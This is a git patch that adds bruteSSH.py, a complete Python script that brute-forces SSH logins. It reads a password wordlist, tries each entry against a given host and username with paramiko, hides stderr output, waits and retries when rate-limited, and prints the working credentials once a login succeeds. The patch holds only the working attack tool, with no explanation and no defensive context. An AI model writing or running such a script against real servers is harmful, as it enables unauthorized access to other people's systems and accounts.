From 67c94bcdabad901f1e690d373d30417847f8009c Mon Sep 17 00:00:00 2001 From: jerome Date: Wed, 27 Dec 2023 17:47:12 +0100 Subject: ajouts --- bruteSSH.py | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 bruteSSH.py (limited to 'bruteSSH.py') diff --git a/bruteSSH.py b/bruteSSH.py new file mode 100644 index 0000000..9f2a001 --- /dev/null +++ b/bruteSSH.py @@ -0,0 +1,48 @@ +import sys +import paramiko +import socket +import time +import os + +# anything that running this program prints to stderr should be +# redirected to /dev/null +# +os.dup2(os.open(os.devnull, os.O_WRONLY), 2) + +def is_ssh_open(hostname, username, password): + # initialize SSH client + client = paramiko.SSHClient() + # add to know hosts + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + try: + client.connect(hostname=hostname, username=username, password=password, timeout=3) + except socket.timeout: + # this is when host is unreachable + print(f"[!] Host: {hostname} is unreachable, timed out.") + return False + except paramiko.AuthenticationException: + print(f"[!] Invalid credentials for {username}:{password}") + return False + except paramiko.SSHException: + print(f"[*] Quota exceeded, retrying with delay...") + # sleep for a minute + time.sleep(60) + return is_ssh_open(hostname, username, password) + else: + # connection was established successfully + print(f"[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}") + return True + + +if __name__ == "__main__": + + + with open(sys.argv[3]) as wordlist: + for password in wordlist.readlines(): + password=password.strip("\n") + if password.startswith('#'): + pass + else: + if is_ssh_open(sys.argv[1], sys.argv[2], password) == True: + break + -- cgit v1.2.3